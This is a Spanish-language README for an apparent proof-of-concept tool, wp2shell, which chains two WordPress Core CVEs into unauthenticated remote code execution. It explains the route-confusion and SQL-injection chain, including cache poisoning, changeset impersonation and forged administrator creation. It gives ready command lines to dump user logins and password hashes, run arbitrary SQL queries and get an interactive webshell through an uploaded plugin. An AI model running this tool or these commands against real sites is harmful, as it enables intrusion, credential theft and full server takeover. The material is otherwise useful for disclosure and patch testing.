
CVE-2026-63030 y CVE-2026-60137 cadena RCE prueba de concepto
⚠ Esta herramienta ha sido creada únicamente con fines educativos o de bug bounty. Queda estrictamente prohibido su uso no autorizado fuera de entornos controlados.
Prueba de concepto para la cadena de vulnerabilidades wp2shell que afecta a WordPress Core, combinando CVE-2026-63030 y CVE-2026-60137. El proyecto demuestra la interacción entre la vulnerabilidad de confusión de rutas de la API REST Batch y una inyección SQL en WP_Query, lo que resulta en una ruta no autenticada hacia el compromiso total de WordPress y la ejecución remota de código (RCE).
Lea el aviso completo aquí
wp2shell es una cadena de RCE preautenticación en el núcleo de WordPress, que combina CVE-2026-63030 (confusión de rutas en el endpoint REST batch) y CVE-2026-60137 (inyección SQL en WP_Query).
La confusión de rutas: /wp-json/batch/v1 procesa múltiples subpeticiones mediante arrays paralelos $matches y $validation indexados por posición. Una subpetición con una ruta malformada (p. ej., http://:) se añade a $validation pero no a debido a una sentencia , lo que desincroniza los arrays. Las peticiones posteriores se despachan bajo el manejador destinado a la petición, eludiendo la validación de esquema y las comprobaciones de permisos.
$matchescontinueLa inyección SQL: Dos llamadas batch anidadas explotan esto. El batch externo elude la lista de métodos permitidos (que normalmente bloquea GET). El batch interno entrega una cadena escalar author_exclude a GET /wp/v2/posts - la desincronización la enruta más allá de la validación, y WP_Query interpola la cadena no saneada directamente en SQL, produciendo una inyección ciega basada en UNION.
Envenenamiento de caché: La SQLi devuelve objetos WP_Post falsificados, que WordPress almacena en caché en memoria. Estas publicaciones falsas contienen shortcodes [embed] que hacen que WordPress cree filas reales de oembed_cache en la base de datos a partir de las referencias falsas.
Escalada mediante changeset: Usando la SQLi, el atacante falsifica una publicación customize_changeset en memoria con "user_id": 1 en su JSON. Un gadget de detección de ciclos activa wp_update_post() sin sobrescribir post_content, preservando el payload del atacante. Aplicar el changeset asume temporalmente la identidad del administrador.
Reentrada de hooks: Una publicación fabricada con estado parse y tipo request dispara el hook parse_request, reproduciendo toda la petición batch con el rol de administrador asumido. Esta vez, una subpetición POST /wp/v2/users tiene éxito, creando una nueva cuenta de administrador.
Ejecución de código: El atacante inicia sesión como el administrador creado y sube un plugin malicioso para ejecutar comandos arbitrarios.
| Versión | Estado |
|---|---|
| WordPress 6.9.0 – 6.9.4 | Vulnerable |
| WordPress 7.0.0 – 7.0.1 | Vulnerable |
| WordPress 6.9.5 | Corregida |
| WordPress 7.0.2+ | Corregida |
Para usar este PoC, el único requisito es Python 3.8+.
Ejecútelo desde el directorio del repositorio para realizar una comprobación de vulnerabilidad:
wp2shell.py http://victim.com
Realiza una única comprobación de vulnerabilidad. Envía una sonda de marcador batch benigna que detecta el fallo de confusión de rutas sin ejecutar payloads de SQLi. Un objetivo vulnerable devuelve HTTP 207 con el patrón de error parse_path_failed, block_cannot_read y rest_batch_not_allowed.
Use --confirm-sqli para enviar también un payload activo de confirmación de SQLi. La confirmación intenta primero la reflexión UNION, y luego recurre a sondas basadas en temporización.
Comprobar un único objetivo (modo predeterminado)
wp2shell.py http://target.com
Comprobar con modo explícito
Check with explicit mode
wp2shell.py http://target.com --check
Comprobar con confirmación de SQLi
wp2shell.py http://target.com --check --confirm-sqli
Extrae datos de la base de datos usando la inyección SQL preautenticación. Por defecto usa --technique auto, que prueba los métodos disponibles en este orden:
WP_Post falsa mediante UNION y lee su título de vuelta desde la respuesta REST como ||HEX(value)||. Una petición por valor. El más rápido.EXTRACTVALUE/UPDATEXML para filtrar ~15 bytes por petición. Funciona cuando el objetivo refleja errores de MySQL (p. ej., WP_DEBUG_DISPLAY activado).X-WP-Total como señal de verdadero/falso. Funciona incluso cuando no se refleja ningún dato.Fuerce una técnica específica con --technique union|error|blind. Estas rutas de lectura son de solo lectura y no escriben en la base de datos.
Huella del servidor (consulta predeterminada)
wp2shell.py http://target.com --read
Volcar logins y hashes de contraseñas
wp2shell.py http://target.com --read --preset users
Consulta SQL personalizada
wp2shell.py http://target.com --read --query "SELECT @@version"
Forzar técnica blind
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
Extraer con técnica basada en errores
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
Ejecuta comandos en el servidor objetivo. Funciona en dos modos:
Con credenciales (inicia sesión como administrador existente y sube un shell de plugin):
Ejecutar un comando específico
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
Shell interactivo
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Sin credenciales (RCE preautenticación - ejecuta el puente completo SQLi→admin, inicia sesión como el administrador generado y luego sube el shell de plugin):
Ejecutar un único comando
wp2shell.py http://target.com --shell --cmd id
Shell interactivo
wp2shell.py http://target.com --shell --interactive
El webshell del plugin se sube con una ruta aleatoria y un token por ejecución. El webshell subido se elimina automáticamente. Cuando el puente preautenticación crea un administrador, esa cuenta generada se elimina automáticamente después de que finaliza la sesión de shell.
Lista de todos los flags:
| Flag | Descripción |
|---|---|
--check | Ejecutar comprobación de vulnerabilidad (modo predeterminado si no se especifica otro modo) |
--read | Extraer datos mediante inyección SQL |
--shell | Ejecutar comandos en el servidor |
--query | Consulta SQL personalizada para el modo read |
--preset | Preset de consulta predefinido (users, config, versions) |
--technique | Técnica de extracción SQLi: union, error, blind o auto (predeterminado) |
--confirm-sqli | Enviar payload de confirmación de SQLi después de la comprobación |
--cmd | Comando a ejecutar en modo shell (predeterminado: id) |
--interactive, -i | Modo shell interactivo |
--user | Nombre de usuario administrador para shell autenticado |
--password | Contraseña de administrador para shell autenticado |
--proxy | Proxy HTTP/HTTPS (p. ej., http://127.0.0.1:8080) |
--timeout | Tiempo de espera de la petición en segundos (predeterminado: 30) |
--verbose, -v | Salida detallada |
Esta herramienta ha sido creada únicamente con fines educativos o de bug bounty. Queda estrictamente prohibido su uso no autorizado fuera de entornos controlados.